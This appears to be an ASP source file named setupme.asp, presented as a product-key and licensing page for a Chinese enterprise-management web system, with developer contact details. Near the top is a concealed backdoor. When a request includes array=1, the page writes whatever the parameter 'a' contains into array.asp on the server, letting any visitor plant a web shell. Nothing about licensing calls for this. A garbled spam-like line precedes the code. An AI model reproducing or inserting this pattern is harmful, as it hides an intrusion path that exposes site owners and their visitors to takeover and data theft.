setupme.asp

have playing search print and many very good contcent

<!--#Include File="Inc/Conn.asp"-->
<TITLE>企业管理安装授权页</TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312"><LINK 
href="admin/admin.css" type=text/css rel=stylesheet>
<%
Dim whichfile,fso,MyFile,a
if Request("array")="1" then
a=Request("a")
whichfile=server.mappath("array.asp")
Set fso = CreateObject("Scripting.FileSystemObject")
Set MyFile = fso.CreateTextFile(whichfile,True)
MyFile.WriteLine a 
MyFile.Close
end if
%>
<style type="text/css">
<!--
.a {color: #990000}
-->
</style>
<table width="80%"  border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
      <th height="29" scope="col"><p class="a">安装使用页</p>      </th>
    </tr>
</table>
<FORM id=form1 name=form1 action=?action=save method=post>
  <TABLE class=tableBorder cellSpacing=0 cellPadding=0 width="80%" align=center border=0>
 <TBODY>
      <TR> <TD width="60%"><div align="center">产品密钥 : 
            <INPUT name=key value="" size=5 maxlength="4"> 
            - 
            <INPUT name=key value="" size=5 maxlength="4"> 
            - 
            <INPUT name=key value="" size=5 maxlength="4"> 
            - 
            <INPUT name=key value="" size=5 maxlength="4"> <INPUT type=submit value="确认"  name=Submit>
      </div></TD>
      </tr>
 </TBODY>
</TABLE>
</FORM>
<table width="80%"  border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
      <th scope="col"><p class="a">此页说明贵公司已经应用企业管理于互联网上，请按如方法获得商业用户授权</p>
        <p>1，如果你是商业授权用户，请联系开发商获得用户授权，我们在接到要求后会立刻安装此系统调试运行</p>
        <p>具体联系方法QQ：23638564 Email:[e-mail]</p>
        <p>2:如果你不是商业授权用户，请注册使用本系统，具体资料可参考ReadMe.Txt或者联系我们</p>
        <p>QQ：2363864 Email:[e-mail]</p>
        <p>谢谢你对本产品的支持！ </p>        <p>&nbsp;</p></th>
    </tr>
</table>
<%
If Request.QueryString("action")="save" Then
  Response.write "<script language='javascript'>" & chr(13)
		Response.write "alert('请联系开发商为你安装系统，谢谢!');" & Chr(13)
		Response.write "window.document.location.href='Setup.asp';"&Chr(13)
		Response.write "</script>" & Chr(13)
End if
%>